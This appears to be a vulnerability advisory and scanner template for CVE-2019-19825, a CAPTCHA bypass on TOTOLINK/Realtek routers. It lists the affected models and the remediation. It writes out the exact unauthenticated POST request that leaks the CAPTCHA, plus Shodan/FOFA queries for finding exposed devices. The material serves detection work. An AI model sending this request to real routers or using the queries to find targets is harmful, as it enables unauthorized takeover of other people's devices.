On certain TOTOLINK Realtek SDK based routers, the CAPTCHA text can be retrieved via a POST request to the boafrm/formLogin URI with the JSON payload {"topicurl":"setting/getSanvas"}. This allows an unauthenticated attacker to bypass CAPTCHA verification, gaining unauthorized access to restricted functions. Once valid credentials are known or brute-forced, an attacker can fully control the device using HTTP requests and Basic Authentication. Affected router models include A3002RU through 2.0.0, A702R through 2.1.3, N301RT through 2.1.6, N302R through 3.4.0, N300RT through 3.4.0, N200RE through 4.0.0, N150RT through 3.4.0, N100RE through 3.4.0, and other Realtek SDK-derived devices.
PoC
id: CVE-2019-19825
info:
name: TOTOLINK/Realtek Routers - CAPTCHA Bypass
author: ritikchaddha
severity: critical
description: |
On certain TOTOLINK Realtek SDK based routers, the CAPTCHA text can be retrieved via a POST request to the boafrm/formLogin URI with the JSON payload {"topicurl":"setting/getSanvas"}. This allows an unauthenticated attacker to bypass CAPTCHA verification, gaining unauthorized access to restricted functions. Once valid credentials are known or brute-forced, an attacker can fully control the device using HTTP requests and Basic Authentication. Affected router models include A3002RU through 2.0.0, A702R through 2.1.3, N301RT through 2.1.6, N302R through 3.4.0, N300RT through 3.4.0, N200RE through 4.0.0, N150RT through 3.4.0, N100RE through 3.4.0, and other Realtek SDK-derived devices.
impact: |
Unauthenticated attackers can bypass CAPTCHA verification to brute-force credentials and gain unauthorized administrative access, leading to complete device control and potential network compromise.
remediation: |
Upgrade to firmware versions beyond those listed as vulnerable, or replace affected devices with patched alternatives.
reference:
- http://packetstormsecurity.com/files/156083/Realtek-SDK-Information-Disclosure-Code-Execution.html
- https://nvd.nist.gov/vuln/detail/CVE-2019-19825
classification:
cve-id: CVE-2019-19825
epss-score: 0.29557
epss-percentile: 0.98092
cwe-id: CWE-287
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
metadata:
verified: true
max-requests: 1
vendor: totolink
product: totolink-router
fofa-query: title="totolink"
shodan-query: http.html:"TOTOLINK"
tags: cve,cve2019,totolink,realtek,captcha,bypass,vkev,vuln
http:
- raw:
- |
POST /boafrm/formLogin HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"topicurl":"setting/getSanvas"}
matchers:
- type: dsl
dsl:
- 'regex("^[A-Za-z0-9]{4}$", body)'
- 'contains(content_type, "text/html")'
- 'content_length == 4'
- 'status_code == 200'
condition: and
# digest: 4b0a00483046022100a014f932e7b46d837e0f8a92a1b0bd0d3151ffb2506a5318c342f7d7d2cba9b6022100f0a1fc67886b2bb210a3d72cdcea2f9ba6f4056a631c7eaab64951a546d40708:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.